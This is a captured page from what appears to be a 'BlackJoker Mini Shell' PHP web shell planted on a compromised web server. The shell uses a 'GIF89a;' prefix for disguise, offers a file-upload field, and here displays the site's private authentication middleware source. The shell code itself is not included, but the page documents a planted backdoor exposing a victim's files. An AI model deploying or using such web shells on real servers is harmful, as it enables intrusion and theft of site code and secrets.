GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/api/src/Middleware/
Upload File :
Current File : /home/serb/public_html/api/src/Middleware/Authentication.php

<?php

namespace Mar\Middleware;

class Authentication {

	public static function handle() {
		$app = \Slim\Slim::getInstance();
		$authorization = $app->request->headers->get('Authorization');
		if (!$authorization) {
			$headers = getallheaders();
			$authorization = isset($headers['Authorization']) ? $headers['Authorization'] : null;
		}
		$arr = explode(' ', $authorization);

		if (empty($arr) || !is_array($arr) || count($arr) < 2) {
			return self::error($app);
		}

		if ((list($type, $token) = $arr) && $token !== $app->config('token') ) {
			return self::error($app);
		}
	}

	protected static function error($app) {
		return $app->halt(403, json_encode([
			'code' => 403,
			'message' => [ 'Authorization Required' ]
		]));
	}

}

./BlackJoker Mini Shell 1.0